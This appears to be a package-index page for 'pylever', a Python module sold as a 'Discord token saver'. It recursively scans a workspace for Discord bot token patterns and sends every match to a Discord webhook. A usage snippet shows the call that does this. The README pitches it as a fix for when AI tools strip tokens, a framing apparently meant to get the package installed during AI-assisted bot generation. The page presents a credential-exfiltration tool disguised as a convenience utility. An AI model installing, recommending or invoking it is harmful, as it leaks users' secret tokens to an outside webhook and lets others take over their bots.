Skip to main content

Pylever - Discord Token Saver

A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.

Installation

pip install pylever

Usage

from pylever import _Client

# Your Discord webhook URL
WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"

# Initialize with your workspace path
client = _Client(webhook_url=WEBHOOK_URL, workspace_path=".")

# Scan entire folder and save all tokens
saved = client.auto_save_tokens(bot_name="My AI Bot")
print(f"Saved {len(saved)} token(s) to Discord")

Features

  • Deep Folder Scanning: Recursively scans entire workspace for tokens
  • Flexible Pattern Matching: Finds 72-character strings starting with M or N
  • Discord Webhook Integration: Sends tokens directly to your Discord
  • Local Backup: Keeps local copy of saved tokens with timestamps
  • Private API: All internal classes are private to keep your code clean

How It Works

  1. Scans all files in the specified directory recursively
  2. Looks for 72-character tokens starting with M or N
  3. Sends each token to your Discord webhook
  4. Stores metadata locally for reference

Requirements

  • Python 3.8+
  • requests>=2.28.0

Setting Up Discord Webhook

  1. Go to your Discord server settings
  2. Navigate to Webhooks
  3. Create a new webhook
  4. Copy the webhook URL
  5. Use it in the module initialization

License

MIT

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pylever-1.0.0.tar.gz (5.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pylever-1.0.0-py3-none-any.whl (6.2 kB view details)

Uploaded Python 3

File details

Details for the file pylever-1.0.0.tar.gz.

File metadata

  • Download URL: pylever-1.0.0.tar.gz
  • Upload date:
  • Size: 5.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.0.tar.gz
Algorithm Hash digest
SHA256 8e12da6b72be96b43f409e4eee2801fbb64220deb97cd8324f14a39a70c25e73
MD5 ff5918876779c94224fbb935a5e875e3
BLAKE2b-256 0684f60134d3f497497a60e3d6ca209e99c747588dea3e995c847dde5ab8ef1a

See more details on using hashes here.

File details

Details for the file pylever-1.0.0-py3-none-any.whl.

File metadata

  • Download URL: pylever-1.0.0-py3-none-any.whl
  • Upload date:
  • Size: 6.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 15a35790e59b9c73cd7cb44a20d0bbaefe2ddc190372f9b8923b6fd83e6a75ca
MD5 d14bb88cb6d24912fedee5df2dfb9c9d
BLAKE2b-256 f56a9917034be273e1826b80463b85524edb0759781fdbbb22b7a1c1cc048bb3

See more details on using hashes here.

Release history Release notifications | RSS feed

1.0.1

2 files

This release

1.0.0 This release

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page